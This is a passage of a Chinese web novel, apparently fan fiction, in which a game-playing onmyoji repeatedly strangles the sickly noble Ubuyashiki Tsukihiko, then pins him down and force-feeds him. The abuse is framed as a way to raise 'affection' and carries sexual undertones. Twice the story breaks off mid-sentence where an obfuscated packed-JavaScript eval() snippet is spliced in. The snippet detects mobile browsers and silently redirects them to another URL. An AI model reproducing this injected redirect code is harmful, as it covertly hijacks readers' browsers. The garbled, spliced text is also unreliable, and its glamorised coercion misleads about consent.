灯火摇曳,这样的折磨好像永远没有尽头。 而他甚至不知道对方会在哪一次失了手,真正杀死了他。 还有,那家伙说的那些话……那些混账又可耻的内容……! 他真的会做出那般失态的反应……?! 大脑无法再继续更多的思考,反复的濒死令产屋敷月彦心底的恐惧不断叠加,最终,抵达了极限。 “我……” 当羽原雅之再一次松开五指时,终于听到身下传来极其虚弱的,沙哑的,甚至带着些许哽咽般颤抖的话。 “我会为了你……努力……成为……合格的妻子……” 原本抓住羽原雅之的手腕的那两只手早已无力搭在床铺上,规整的单衣同样凌乱不堪,松垮落在他同样无力起伏的胸口。 说出这句话时,产屋敷月彦扭过头去没有看他,眼神空洞洞的,仅有一点跃动的光点落入深处。 虽然看起来状况有点糟糕……但反正是副本,结束了就全部都会消失吧,也没什么关系。 在羽原雅之正要开口的下一刻,光幕亮起在他眼前。 【《娶亲》副本结束。】 【恭喜,您的初始天赋能量+10%。】 【获得阴阳师咒法:[求雨符箓]。由您画出的求雨符箓能将求雨成功率提升至70%。】 【您将传送出副本,请做好准备……3、2、1。】 羽原雅之的视野忽然暗了下去—— 待再恢复时,是那位前来产屋敷家做客的乳母,正在关心看向他,“您还好吗?” 时间并没有流逝,但他下意识扶住脑袋的动作,令送他离开的仆从也吓了一跳,以为羽原雅之的身体忽然出了什么事情。 “不……我没事。” 羽原雅之歉意摇头,“只是晕了下。” “那就再好不过。” 那位在副本里见过的乳母微微颔首,又重新前往会客的正殿。 羽原雅之望着那行人的背影一会儿,宽大的狩衣袖袍下,折扇轻轻敲了敲掌心,若有所思。 正好他等会要去见清和天皇,不必在这里提出他的反对意见。 ——与此同时,正躺在衾被里休息的产屋敷月彦,忽然捂住喉咙,整个人蜷缩起来,咳得撕心裂肺。 他的脑海里……为什么会忽然多出了一段见鬼的记忆!? 乃至于,那段反复叠加的荒谬体验好似追随着那份记忆而来,竟也极真实的印在了他的身体上! 听见月彦殿下咳嗽的另一位下人匆忙自静候的廊外进来,“殿下,您……” “出去。” 背对着他的产屋敷月彦嗓音沙哑且沉,透出十足的不悦。 “可是……” “出去!” 更高的一声呵斥将下人惊得匆忙退出去,留下产屋敷月彦维持着方才的姿势不动。 接着,他缓慢抬起手,掌心捂住了脸。 7. 第 7 章 牛车慢悠悠晃到清和天皇所在的大内里,羽原雅之下了车。 门口有任值结束的官员与他碰面,立刻带着十分敬意向这边行礼,脚下也主动退后半步,让开在游廊一侧。 “哎呀呀,这不是羽原阁下吗,您此刻是正要前往觐见天皇陛下?” 甚至还会用敬语与他寒暄。 这个平安时代的风气正是如此,即使是官阶从三位以上的贵族,也极度依赖在阴阳寮内供职的阴阳师们,对他们礼待有加。 羽原雅之的官阶不高,但对身份特殊的阴阳师而言,官阶并不是最重要的。 像产屋敷月彦这样排斥神官,乃至压根不相信神明存在的贵族,才是少数中的少数。 大多数贵族都以能邀请到“咒术强大的”阴阳师前往自己的寝殿占卜吉凶为荣。 因此,羽原雅之选择的初始身份,正是一位官阶虽然不算特别高,但以超乎寻常的卜筮准确率而受到贵族敬重的大阴阳师。 原本,按照这帮贵族的传统,通贵以上的官员基本都是从几个垄断了政治势力的大家族里选择,基本不会给普通平民机会。 遑论明治维新前的平民还没有资格拥有姓氏,这是上层阶级的特权。 这时候的人们只需要听对方自报名字,就能立刻知晓对方的身份贵贱,并拿出相应的对待态度。 而羽原雅之的【羽原】,明显就不是出自任何一家大姓贵族——这也是产屋敷月彦一听他名字就知道他不会拥有很高官阶的缘故。 如果他真的是生活在平安时代的平民,哪怕真的拥有阴阳师的资质,也是绝对当不了阴阳师的。 不过,羽原雅之本来就是在玩游戏,而游戏怎么可能真的让他困扰在这种事情上呢。 因此,这个游戏里的平安时代自动补全了设定,让【羽原】这个姓氏成为了曾经辉煌过、如今凋敝至仅剩羽原雅之一人的通贵阶级。 而羽原雅之本人是仅靠自学就能在普遍四十岁左右的同僚里,成为以二十六岁年龄就当上阴阳博士的少年天才。 不仅是那些对待他人傲慢的贵族,连清和天皇与实际摄政的太政大臣藤原良房,都对他信赖有加。 这身份好像除了开局会自动清零产屋敷月彦对他的好感以外,没什么其它缺点。 他刚才还从副本里得到了求雨符箓的奖励,竟然真的可以呼风唤雨。 看起来还真是一个像模像样的阴阳师。 羽原雅之都有点期待他后面还能得到什么奖励了——真的会有式神吗?像安倍晴明那样? 啊……不过,以眼下这个公元867年的时间点,公元921年才呱呱坠地的安倍晴明,此刻还没有出生。 如果用这些贵族的短暂寿命来估算,连他爷爷有没有出生都够呛。 话说回来,他是不是也会在这个游戏里衰老和死亡? 如果会老死的话,他改造产屋敷月彦的时间限制是多少呢,在对方变成不老不死的千年鬼王之前?还是他老死之前? 那要是他现在就把未来的鬼王无惨提前做掉,是不是也能算完成目标……嗯,应该不行吧。 否则游戏标题怎么不是《■■贵族月彦》,反而特意强调了对方的鬼王身份。 莫非……对方的鬼王身份是必须的?为什么? 跟着引路仆从的羽原雅之思绪发散,走了会神。 “哦,雅之卿,你来了!” 直到清和天皇带着十足的欣喜与亲昵唤出他的名字,羽原雅之才收回注意力,屈膝向被竹制帷幕遮挡的天皇行礼。 “陛下,是雅之来了。” 真正握有国家实权的太政大臣藤原良房同样在场,穿有布满深紫藤纹的暗色朝服,就坐在天皇的侧下方。 见到羽原雅之过来,他也面露笑意,向这边轻轻颔首。 羽原雅之也朝他行了一礼。 “好好好,你昨日在卜筮时与吾直言,神明降下神谕,需要你前往照看那位产屋敷家的准家督一段时间,才能使本国安定,” 面对羽原雅之时,清和天皇使用了自称更柔和的【吾】而非正式的【朕】,以体现他对前者的喜爱,拉进关系。 “你今日在那里待了半日,感觉如何?可有受到冒犯之处?” 甚至还会主动询问他有没有在那边受欺负。 羽原雅之感到几分好笑。 看来,产屋敷家的这位月彦殿下虽然病弱到足不出户,喜怒无常的脾性倒是静悄悄的在私底下传出来不少。 他在副本里那样对待他,倒也算是为之前被他逼死的那些下仆出了口气。 反正,副本外的产屋敷月彦又不知道他在副本里对他做了什么。 “我并未受到任何冒犯,请陛下不必担忧。” 不如说,对方被他冒犯得挺过分。 盘膝坐在廊下的羽原雅之再度欠身,停顿片刻后,语带迟疑。 “只不过……” 清和天皇追问,“只不过什么?雅之卿直说就是,吾与外祖父都在此处,有什么可忧虑的?” 藤原良房也笑了笑,“没错,正是如此。” “我在离开产屋敷家时,擅自为那位月彦殿下略作占卜……真是抱歉,我擅自做出了这样的行为,” 羽原雅之也配合平安时代的说话风格,尽量用文绉绉的古日语。 “由于当时的家主正在会客,我不好告知他结果,便来与您及摄公一说。” “哦?是什么结果?” 拥有老辣政治素养的藤原良房端坐如山,不动声色,“我倒是知晓产屋敷辉信在做什么,听说橘氏想要将宗家的女儿嫁过去,先请女眷过去打探情况……呵呵,橘氏也真是没落了啊。” 位于平安京的贵族交际圈并不大,几个大家族又互相沾亲带故的,只需要私下一打听,就能将对方的情况了解得八九不离十。 这时候,橘氏想要嫁女儿到产屋敷家,他还能不明白对方是怀抱着怎样的心思吗? 产屋敷月彦的“准家督”名号是挺响亮,但也是个活不了几年的病秧子,只有产屋敷式还寄希望能治好他,从全国各地找来不计其数的医生与珍贵药材。 而橘氏呢,那可是从敏达天皇时代就声明显赫的旧族,此前还想趁机掌握权力的核心。 哼,结果呢?最终的胜利依然属于他藤原氏。 如今的旧皇族后裔橘氏彻底没落,竟然也想靠着与产屋敷家结亲生子,来扩大自己的势力范围吗? 藤原良房迅速猜到对方打的什么主意。 明面上,他依然做出认真聆听羽原雅之说话的模样。 “原来摄公也知晓这件事。我恰好占卜到,产屋敷家近来不宜有结亲、纳娶之类的喜事。” 羽原雅之停顿片刻,也将自己杜撰出的理由告知这二位身处权力中心的人物。 “否则,恐有血光之灾。” 后半句话确实是真的,副本里有预示如果那位贵族女子真的嫁过去,不出多长时间就会被产屋敷月彦逼到自尽。 这种话要是放在现代,他估计会被人骂一句神经病,扫兴鬼。 但眼下可是极度迷信的平安时代。 藤原良房怔了下,为这结果哈哈大笑。 他以手撑地,将整个上半身朝向清和天皇,“您也听见了,那孩子实在是时运不济,才会屡次遭受劫难啊。” 清和天皇也摇头叹笑,“吾本以为有雅之卿照看会好些,没想到出了更加不吉的事情。不过,这倒也算是另一件好事,令橘氏那边免受丧女之痛。” “或许,这正是神明于昨日给予我启示的缘故。” 羽原雅之一边在内心吐槽月彦这小子未免也太不遭人待见,一边应付回话。 大概就是这样的情况吧,他先是没办法参与贵族的宴会,不能与同辈建立私下的社交;又没办法参与官员的朝会,不能与同僚打好关系。 他甚至不能让自己保持穿戴整齐,衣冠肃正。 贵族最看重的【礼仪】与【教养】都没办法体现出来,也难怪这些人都是用看笑话的态度对待他。 “既如此,吾替他们做件好事,拒了这桩婚事罢。” 清和天皇接收到藤原良房的暗示,主动提出他会亲自搅黄这门亲事——嗯,不仅是这门亲事,估计在产屋敷月彦死前,他都别想再娶妻子。 羽原雅之的目标达成,得到劲爆消息的清和天皇与藤原良房也心满意足,互相又说了几句废话寒暄后,进入正式环节。 为他们明日的出行与其他要事占卜吉凶。 如果是其他阴阳师占卜,他们需要让下属提前在一侧备好各种卜筮用具,使用起来极为繁琐。 而有游戏系统加持,羽原雅之根本不需要那些外观精美华丽的器具。 他仅需展开手里那柄绘有花纹的木扇,朝空中抛起,落下,即可根据朝上的扇面图案得到70%准确率的占卜结果。 其实扇子也只是一个使用技能的媒介,如果对方不介意,他用地上捡来的石头也是一样的。 但为了不让这帮贵族认为自己在怠慢他们,还是搞点花里胡哨的仪式感吧。 “如此神乎其技的技法,无论看过多少次,都依旧令我啧啧称奇啊。” 藤原良房赞叹,命人将结果速速记录下来。 临别时,清和天皇又想起一事,“吾愿将雅之卿任命为首席阴阳师,统管阴阳寮的阴阳头,不知你可同意?” 同意就得天天早上过来打卡上班,还要对着一群大叔老头开会,他可不愿意。 “感谢陛下厚爱,只是雅之尚且年轻学浅,阴阳一道尚未至臻,恐难当大任。” 羽原雅之婉拒了清和天皇的加官提议,只同意他将自己的官阶从正五位下提到了从四位下。 就算是现任的阴阳头,官阶也只有从五位上呢。 光以官阶来论,他的老板每天也得向他行礼问好。 这又怎么不算是一种在给他干活? 等天皇这边的事情忙完,天色已经不早。 羽原雅之离开大内里,再度乘上牛车时,天皇配给他的专属仆从松石恭敬问他去哪里。 “回寝殿……不,去产屋敷那边吧,就是不知道他们有没有给我准备晚饭了。” 车辕再次咕噜咕噜的转动,对着展开在他眼前的产屋敷月彦个人档案,羽原雅之用扇尖点了点下巴。 基础信息都没有变,只有依恋度提高了2。 描述倒是依然一样。 在副本里发生的事情,确实可以影响到副本外的产屋敷月彦。 这当真是个好消息,还证明了哪怕他在副本里对产屋敷月彦做出比较过分的行为,依恋度也有可能增加。 他需要摸索出依恋度增加的条件。 是他成功救下了那位名叫松子的贵族女子吗? 还是产屋敷月彦同意为了他努力成为一位合格的妻子? 羽原雅之的下巴抵着扇尖,在摇摇晃晃的车厢里头脑风暴。 嗯……怎么想都不会是他给予对方的惩罚吧? 但话又说回来,这里可是限制级游戏……还真不好说啊…… 下次再试试? 羽原雅之在心里思索。 反正只有他有副本里的记忆,就算再怎么折腾产屋敷月彦,等副本结束,一切清零。 好比产屋敷月彦被折腾到松口同意做他妻子的事情,就只有他拥有这段记忆。 ——记忆。 为什么他的脑海里会多出这段莫名其妙的记忆!? 帷幔拢起来的逼仄空间内,独自躺在床上的产屋敷月彦一手捂紧脑袋,另一只手死死按在嘴前,不肯再发出声音。 但这样的行为只会加重他呼吸与吐气的声音,一下接一下,仿佛即将溺死的旅人终于得以浮出水面,贪婪地大口汲取宝贵的空气。 他的肩头也是颤动的,黑发凌乱着往一侧垂落,像枝条随风摇曳,摩擦出簌簌声响。 明明没人触碰,但喉咙依然疼得厉害。 似乎有人违逆他的意愿,强行掐住他的气管,反复将他逼入濒死的绝境。 不对,不是“似乎”,那段记忆里,这件事确实就这么发生了。 产屋敷月彦难以置信瞪圆眼睛,根本不敢去仔细回忆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041415|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而,太过清晰的画面就这么一幕幕的定格在他的脑海里,清晰得就像他刚刚经历。 被家族安排娶亲,来的人却并不是那位定下的妻子,而那个混账还蛮横无理的要求他……将那句极度耻辱的话说出口。 更加令他感到耻辱的是,他竟然在那段记忆里,将松子的兄长代入进了那个混账的脸! 娶亲这件事情他早就知道,身为家督的父亲也不是一两次和他提起。 他也曾愤怒到极致,愤怒到青筋浮现在他的鬓角。 但他明面上并没有拒绝。 他默许了这帮人开始给他物色适龄女性,要求他与对方进行私底下的书信往来,和歌传情。 这同样没什么,他甚至无需动笔,家里自有人替他书写,只为了尽快让他成功结亲,诞下子嗣。 然后呢,刚才出现的记忆算什么? 原本应当在婚礼初夜现身的妻子,变成了那个对他反复施暴折磨的混账神官?! 蜷缩起身体的产屋敷月彦几乎要气笑。 这样荒谬可笑的妄想究竟算什么,他方才莫非是无意中睡着了,而后做出个昏梦吗! 可就算是梦,于他而言,也未免是个太过不堪的梦。 摇曳的油灯缭绕着白檀香炉飘来的浅淡香气,庄重布置的寝室内,他毫无反抗之力,就这么被强硬的压在白褥上,耳边传来悦耳低沉的声音,平静的,有力的,却像一根生锈的钉子往他的脑海里凿,轻声说着“要他成为一位合格的妻子”…… 最令他难以接受的是,梦里的他最后竟然没有撑过去,气息虚弱的复述了那句话。 他为了能够生存,已然抛弃了尊严。 向着他最厌恶的人。 即使是最厌恶的人,为了生存,他也可以低头。 多么不堪,多么耻辱,多么……多么可悲啊。 华贵的衾被下,产屋敷月彦将身体更深地蜷缩起来,好似这样就能掩盖掉已然发生的身体反应。 在那剧烈的情绪与生理波动下,产屋敷月彦新换上的里衣再度被虚汗浸得湿透,却久久没有喊人来更换。 他将背朝向寝居门口,独自躺着,直至口中急促呼出的、被五指压抑的热气,终于恢复到冰凉的温度。 庭院外的景色已落成夕阳,被呵斥走的仆人才又端着餐盘回来,小心翼翼站在廊下。 “月彦殿下,小人给您送晚餐……” “我不吃,端走。” 产屋敷月彦依然背对着门躺在衾被里,冷冰冰开口道。 他的声音依然沙哑得厉害,听起来比下午更虚弱几分。 从卷起竹簾外的视角望去,只能从掀开的帷幔缝隙中窥见半截隆起的衾被弧度,以及一点瘦削的肩头,真是单薄极了。 难怪伸出的手臂上也没有多少肉,就算不控制住他的挣扎,任由他双手捉住他的手腕,也无法推开。 连掌下的喉管也细弱得过分,只需要多用些力气,就能看见他吐出濒死气音的失态模样。 羽原雅之不动声色端详着,那柄不离手的木扇轻轻敲了敲掌心。 只这一点发出的声音,就能见到对方的背影被惊得一僵,像被老虎瞪住的兔子。 “月彦,你还真是不听话。” 他听见身后传来熟悉的声音,带着轻慢的、居高临下的笑意。 就像梦里的记忆那样。 “我只不过离开了一会儿,你就又在耍脾气任性吗?” 羽原雅之可不会在意产屋敷月彦“滚”的命令,抬脚就迈进了属于他的私人寝殿内。 鉴于副本里了解的情况,为了防止仆人被迁怒,他还让对方将餐盘递给自己后就可以离开了。 产屋敷月彦听着那道越来越近的脚步声,心底的怒火就直往上冒。 他好不容易说服了自己,也好不容易消化掉了那个不知所谓的昏梦,为什么这家伙又要过来? 为什么偏偏要挑在这个时候? 为什么这家伙根本不遵守客人来到主家时应有的礼仪与教养,就这样肆无忌惮在他的床边坐下? “好了,”羽原雅之用扇尖点点他露出的肩头,“起来吃饭,你不会希望我用点强硬的手段喂你。” “给你三秒钟的时间——” 咚咚咚。 这次,他的心脏跳得不正常的快,快得对方话音刚落,产屋敷月彦便恶声恶气的开口,且拒绝起身。 “你又来做什么,你是没有自己的寝殿吗?谁准许你过来的?” 羽原雅之笑了。 “天皇陛下与摄公允许我过来的。” 他慢悠悠回道,“嗯,产屋敷的家主阁下也同意了,还十分感谢我为你做出的占卜结果。” 产屋敷月彦沉默了下:“……什么意思?什么占卜?” 羽原雅之的语气慢条斯理:“自然是关于你娶亲的占卜结果。恭喜你呢,月彦,你不用费心去侍奉你未来的妻子了。” ——因为你会为了我,成为一位合格的妻子。 梦里的那句话仿佛被同样的嗓音说出口,清晰也亲昵的,轻轻拂在他的耳畔。 带着鲜明的热息。 也惊得产屋敷月彦骤然回身,“混账神官,谁会为了你……!” 见到依然坐在原地、并没有朝他靠过来的羽原雅之,看见那张淡然而从容的脸,产屋敷月彦的话戛然而止。 “为了我?”羽原雅之抬起眉梢,“哦?你要为了我做什么?” “………” 产屋敷月彦咬紧牙,一字一句挤出话,“谁会为了你的占卜结果道谢。” 羽原雅之打量了情绪忽然激动起来的产屋敷月彦一会儿。 “总感觉你刚才想说的并不是这句话。” “…………” 在后背又开始冒虚汗,乃至目光也略带紧张的产屋敷月彦的注视下,对方总算没有深究这句话,而是将餐盘朝他这边推了一些,唇角含笑地望过来。 “来吃饭吧,月彦。” 羽原雅之微微眯起眼,“要一粒米也不剩的吃光。否则,我会亲自为你喂进去。” 8. 第 8 章 产屋敷月彦半撑着身体,与羽原雅之静默对峙。 前者气势汹汹,拿出了最不情愿、最抗拒、最凶狠的眼神瞪向后者,仿佛这样就可以用眼神硬生生将这个区区混账神官剐死。 但对方仍旧老神在在坐着,那柄该死的扇子依旧被他握在手中,好似掌握着什么滔天权柄。 该死的混账神官……羽原雅之…… 产屋敷月彦可以发誓,他从来没有如此深刻的记住过一个人的名字。 而自诞生以来最大的情绪波动,连带反复濒死的体验,竟然都是眼前这个家伙带给他的。 混账…混账……这个还在他面前自以为是坐着,摆出一副要好好管教他的模样,就这样肆无忌惮闯入他私人寝居的混账神官……! 产屋敷月彦的胸口剧烈起伏,被激怒至极限,却吐不出一个字。 他的神色沉得快要滴水,看起来好像对羽原雅之抱有十二万分被冒犯的不爽与怒意。 但产屋敷月彦清楚,在衾被与里衣的掩饰下,自己的身体正在诚实表现出“害怕”的情绪。 那段浮梦似的记忆太清晰、太鲜明,此刻仍旧深深刻在他的脑海里,也刻进了他的身体。 反复的濒死体验下,狼狈至极的生理反应后,产屋敷月彦能感觉到,当他一看见羽原雅之这张脸,就会条件反射想起被居高临下扼住喉咙、却无力反抗的糟糕感受。 就像一只不被放在眼里的昆虫。 时间在静默对峙中一点一滴流逝,他能察觉到羽原雅之已经失去等待的耐心,五指缓慢握住扇柄,又快要松开。 那是他即将亲自动手的先兆信号。 心脏下意识蜷缩成一团,呼吸也停住,透出那点绝不该流淌于体内的瑟缩与畏惧。 产屋敷月彦咬紧嘴唇,目光终于挪开,落在被防止在身旁的餐盘上。 一碗泡着水的米饭,一小碟煮青菜,一小条腌制的鱼干,两三小块新鲜的家禽肉,一小碗海贝汤,一小块苏蜜以及用以蘸取菜肴的酱、盐、醋、酒与蜂蜜等佐料,最后配了一小碟水果。 冷冰冰的,都摆在格外精致的餐碟里,但内容还是老样子,看着就毫无食欲。 产屋敷月彦皱紧眉头,动手将餐盘拖过来了些,勉强动动筷子,先夹起一块肉,什么佐料也没有蘸,直接放入口中,慢慢咀嚼。 对方的视线始终没有从他身上挪开,一点一点扫过他身体。 就像有人亲自动手,冷酷且不留情地将茧里正在孵化的毛毛虫提前剥出来,既摊开在空气下,也摊开在审视与打量的目光下,还自诩为神明赋予的权力。 戏谑的,赤衤果衤果的,脆弱至极的。 恶心,好想吐,好想吐。 产屋敷月彦本就毫无胃口,又要防着对方发现他身体的不适,此刻更是越吃越慢,越吃越磨蹭。 等家禽的肉吃完,他就直接跳过其它两道菜,开始夹起一块苏蜜。 这是一道近来很流行在贵族间的餐后甜点,需要用到大量的牛奶长时间熬制,最后淋上昂贵稀少的花蜜才能制作而成。 羽原雅之看着他就这样挑三拣四的吃食物,米饭更是一口没动。 虽然他也觉得平安时代的饭有点难吃,不是白水煮就是上锅蒸,连用火烤都不会刷调味料,怎么处理都实在寡淡无味。 也就海贝汤还好些,因为食材还算新鲜,本身又自带盐分。 但产屋敷月彦明显只由着自己的性子来,想吃的就吃两口,不想吃的一筷子也不动。 本来就虚弱至极的身体,怎么可能扛得住长期只摄入这么点食物? “你好像忘记了我刚才说的话。” 盯着正在慢吞吞咀嚼苏蜜的产屋敷月彦,羽原雅之开口,瞧见他咀嚼的动作都停了,整个人打出个微小的颤。 产屋敷月彦:“…………” 产屋敷月彦:“难吃,我不想吃。” 人在屋檐下,不得不低头。他忍气吞声、屈尊纡贵的给这个混账神官解释,省得对方就像给他擦身体那次那样,又粗暴的对他动起手来。 该死,这家伙真的是黑熊精变成的妖怪吗,力气见鬼的大! “你要好好养身体啊,月彦。” 羽原雅之用扇子一下又一下,轻轻敲着掌心,边语气平和的回道,“我能理解你更喜欢吃肉与点心,但你怎么能违抗我的意志,不将其余几样饭菜都吃完呢。” ……你这混账神官是我的谁吗,竟然要我来服从你的意志!混账东西!恶心!快点滚出我的视线! 对,正是如此,带着那把一直在手里敲敲敲的扇子快点滚! 或者直接在这里上吊自尽更好! 产屋敷月彦手里拿着筷子,维持着停在半空的姿势没动。 他的面上一声不吭,心里则在大声骂羽原雅之。 因为是想象中的回答,所以他可以骂得要多大声有多大声,气息也不会不稳,还格外坚定有力,感情充沛。 但现实是,他如果真的提高些说话的声音,肺部绞出的痛楚能令他立刻咳得撕心裂肺,冒出的冷汗能沁湿衣服,哪怕用药也压不下去。 他的脑海里刚发泄完一波怒气,正在思考如何拒绝掉这个烦人的混账神官,却听到对方轻轻叹息,说出一句无奈又包容的话来。 “月彦……我知道你其实是想要我喂你的,是不是?” 产屋敷月彦被那口还没咽下去的苏蜜哽住,“…………” ……谁想要你这个混账喂!!! 他气得握在手里的筷子都开始抖,但随即,那双筷子就被对方伸手拿在手里,连带原本拿在手里的扇子也放在身旁,改为托起那一小碟青菜,稳稳递到产屋敷月彦的嘴边。 被羽原雅之接过来的筷子也夹起一根水煮青菜,示意他自觉点,自己张嘴将它吃下去。 “…………” 产屋敷月彦不再用杀人的目光盯着混账神官了。 他开始用杀人的目光盯着近在咫尺的这根混账青菜。 过去一会,羽原雅之见他还是没有动,耐性再度告罄。 “张嘴。” 等了片刻,对面的人依然半弓起背,单手撑着褥面稳住身体,腰腹往下藏在堆拢的衾被里,一动也不动。 “…………” 并用沉默来表达抗议。 羽原雅之缓慢放下了那个用来承接菜汁的碗碟,空出左手。 不愧是难搞的最终反派,哪怕从他还是青少年时期开始接触,也像一只完全不听话的犟种,只有吃到苦头才会不情不愿的配合。 “你真是不乖。” 这句话一出口,产屋敷月彦立刻反应过来他要做什么,当即往后仰过身体要去躲他伸来的手。 “慢着,吾乃产屋敷氏的准家督,汝不过是个毫无权力的通贵,也敢对吾动手动脚,如此轻慢——” 或许是担心下午的噩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041416|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦再度灵验,产屋敷月彦将这句话说得又快又急,向来偏稳的音节都有点颤,甚至用上了格外正式的社交用措辞,以上对下的版本。 但是,即使他已经往后仰躺在褥面上,那只伸来的手依然追上了他,毫不动摇地捏住他的下半张脸。 在条件反射却并没有意义的挣扎中,羽原雅之单手将他的脑袋压在褥面,而后拇指挪动,从他紧紧抿起的、仍沾着少许蜜糖的唇瓣间粗暴插进去,撬开自以为咬紧的齿关。 产屋敷月彦急促呼吸着,眼瞳往斜上方转,恨恨瞪着半跪在他身上的羽原雅之。 一上一下的姿势,仿佛与梦里交叠。 他没有像梦里那样被扼住喉咙,也没有被剥夺呼吸。 但那种窒息到极限的感觉又开始追上他,如同死亡那般,成为一道同样如影随形的影子。 且,这道影子的署名是羽原雅之。 “呜……混账…神官……要杀了你……” 产屋敷月彦的呼吸愈发急促,咽不下去的涎液沿着无法闭拢的嘴角溢出,将羽原雅之的拇指也沾得湿漉漉的,泛出晶莹的光泽。 即使这样,他也要含糊不清的骂人,柔软的舌面在口腔里搅动,途中还擦过羽原雅之的拇指。 羽原雅之抬了抬眼,对他的挣扎与威胁无动于衷。 “堂堂产屋敷氏的准家督,也会说出如此粗鄙的骂人之言吗?” 其实大贵族哪里会粗鄙的脏话呢,但羽原雅之偏要这样羞辱他。 后者竟好像也听进去了,还没说完的音节在喉咙里卡出一点咕噜噜的响动,变成了极度不甘心下吐出的几个泡泡。 瞪过来的眼神倒是很有气势,眼底的淡淡青黑更是为他增添了几分阴郁——若是被仆从见到,早就跪拜下来求饶了。 可惜,眼下的产屋敷月彦在短暂的挣扎过后便脱力,只能躺在羽原雅之身下急促的喘息。 羽原雅之便将右手始终稳稳夹在筷子间的青菜塞入被强硬撑开的口中,再手动捂紧他的嘴。 “什么时候咽下去了,我就什么时候松开你。” 羽原雅之轻声低语,“你知道的,我想做的事情,你必须配合到结束为止。” “………” 产屋敷月彦被强行塞了一筷子青菜,口齿间皆是泥土的腥味,还有茎梗特有的坚韧口感。 混账,都说过难吃了,好想吐,想吐出来! 这种被强迫张开嘴,被强行塞入厌恶食物的感觉,令他整个人浑身上下都写着反胃与恶心,恨不得当场全部都呕到地上。 但他做不到。 即使他像梦里那样挣扎,用双手去掰他的手腕,也只能靠指甲抓出一点淡淡的血痕——可恨的仆从,将他的指甲剪得太干净,变得完全没有杀伤力! 反复挣扎又失败过后,羽原雅之终于听见身下传来了一点轻微的吞咽音,来自对方终于妥协的结果。 掌心下没有反馈出半点咀嚼的过程,这位产屋敷家的金贵少爷真的很讨厌吃青菜,把它当药丸一样直接吞进了肚子里。 此时此刻,他气喘吁吁的倒在褥面上平复呼吸,哪怕衣衫散乱,看起来狼狈得过分;哪怕他的下颚处仍泛着点湿润的痕迹,眼角积蓄着点滴泪水,却还在用力瞪着他。 那目光,就算是在看杀人父母的仇敌也不为过。 羽原雅之居高临下望了他一会儿,动手夹起第二根青菜。 “继续。” 9. 第 9 章 夕阳彻底落下去前,负责服侍月彦殿下的云助点亮立在廊下的两盏油灯。 月彦殿下的身体虚弱,受不得风,连寝殿也特意用内侧的帷幔与外层的竹簾作为隔断。 如果不跨入竹簾遮蔽的空间内,从他们的视角望去,仅能隐约看见些许朦胧的身影轮廓在晃动。 但帷幔与竹簾只能作为形式上的一种软隔断,既没办法彻底隔绝视线,也完全无法降低内室传出的音量。 云助之前擅自带那位阴阳师大人来见月彦殿下,就险些被责罚。 他担惊受怕了好一阵子,认定自己肯定要像之前死去的那些家仆同样,转眼就会被月彦殿下砍掉脑袋。 虽然很多人在私底下安慰他,说那位殿下肯定很难活过这两年,就算被安排到新主人身边服侍,只要能撑过这两年就可以平安无事。 但云助自己心里清楚。 之前被安排在月彦殿下身边的人一个接一个死掉,不是上吊就是投湖,或者直接被下令处死,频率高得吓人。 大家哪怕被分去照顾产屋敷分家的子嗣,也绝对不想在一个喜怒无常的病秧子身边久待。 他纯属年纪小,又是刚进来没人罩着,就被管事的安排过来了,只叮嘱他一句凡事都听主人的,千万不要做任何他没有吩咐做的事情。 刚到东侧的别殿里,他第一眼见到的,就是披着外袍、半坐在榻榻米上看书的俊美少年。 哪怕长年累月的患着病,在整个产屋敷家族精心照料下,他看上去也只是身体消瘦些,皮肤细腻、光滑、苍白得近乎透明,好似能在光线分辨出那埋在皮肉里的淡青脉络。 头发也是乌黑柔顺的,用香粉与蓖麻油仔细护理过,末梢卷着淡淡的香气。 那张脸同样生得实在漂亮,漂亮到当他放下手里的书,朝这边望过来时,那股弱不经风的俊雅贵族气质好似同样扑面而来。 端着药碗的云助看得恍惚,内心不自觉产生出质疑,为什么他们都讲这位殿下不好相处? “新来的?” 这是他开口说出的第一句话,嗓音是虚弱的哑,死气沉沉,不见半分少年特有的锐利意气。 “谁允许你直视我,不懂礼仪羞耻的东西,连自己身份都认不清吗。” 当第二句话传入云助耳中时,他立刻就懂了,为什么没人愿意来服侍这位殿下。 喜怒无常、敏感多疑、冷漠暴戾……云助能想到的用来形容糟糕性格的词语,都可以放在这位殿下身上。 实话实说,他小心翼翼的伺候了对方三个月,每天睡觉前,都在祈祷自己第二天睁开眼睛的时候,主管过来告诉他“那位殿下死了,你不必再去东侧的别殿了。” 他没能求来跟他报告好消息的主管。 但他好像求来了一位更加厉害的神官……不,简直是神明大人。 对方刚出现在他面前、麻烦他带路时,出于好心,云助还特意提醒他,声音放得很轻,“那位殿下不是一位好相处的病人,不如请您再多思考一番再做决定……” “大致情况我已知晓。别担心,我正是为了解决这件事而来。” 那位神官大人手执折扇,清俊如光风霁月,连含笑对他说出口的声音也是如此温和有礼,带着天生的气度。 当时,他还思考过该如何劝说这位将事情想得太简单的神官大人收回决定,在被那位殿下逼死前快些离开。 但短短半日过去后,云助发觉…… 将事情想得太简单的人,好像是他。 羽原大人去完大内里后,晚上又特意驱车赶了回来。 家督主上十分高兴,也特意留他与贵客一道用餐。 